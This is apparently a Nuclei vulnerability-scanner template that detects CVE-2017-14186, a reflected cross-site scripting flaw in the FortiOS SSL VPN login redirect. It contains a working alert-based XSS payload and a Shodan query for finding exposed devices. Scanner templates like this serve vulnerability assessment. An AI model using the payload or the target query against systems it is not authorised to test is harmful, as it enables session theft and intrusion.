id: CVE-2017-14186

info:
  name: FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting
  author: johnk3r
  severity: medium
  description: |
    FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability. The login redir parameter is not sanitized, so an attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks such as a URL redirect. Affected versions are 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, and 5.4 and below.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-17-242
    - https://fortiguard.com/advisory/FG-IR-17-242
    - https://web.archive.org/web/20210801135714/http://www.securitytracker.com/id/1039891
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
    - http://www.securityfocus.com/bid/101955
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-14186
    cwe-id: CWE-79
    epss-score: 0.02948
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: port:10443 http.favicon.hash:945408572
    verified: true
    vendor: fortinet
    product: fortios
  tags: cve,cve2017,fortigate,xss,fortinet

http:
  - method: GET
    path:
      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200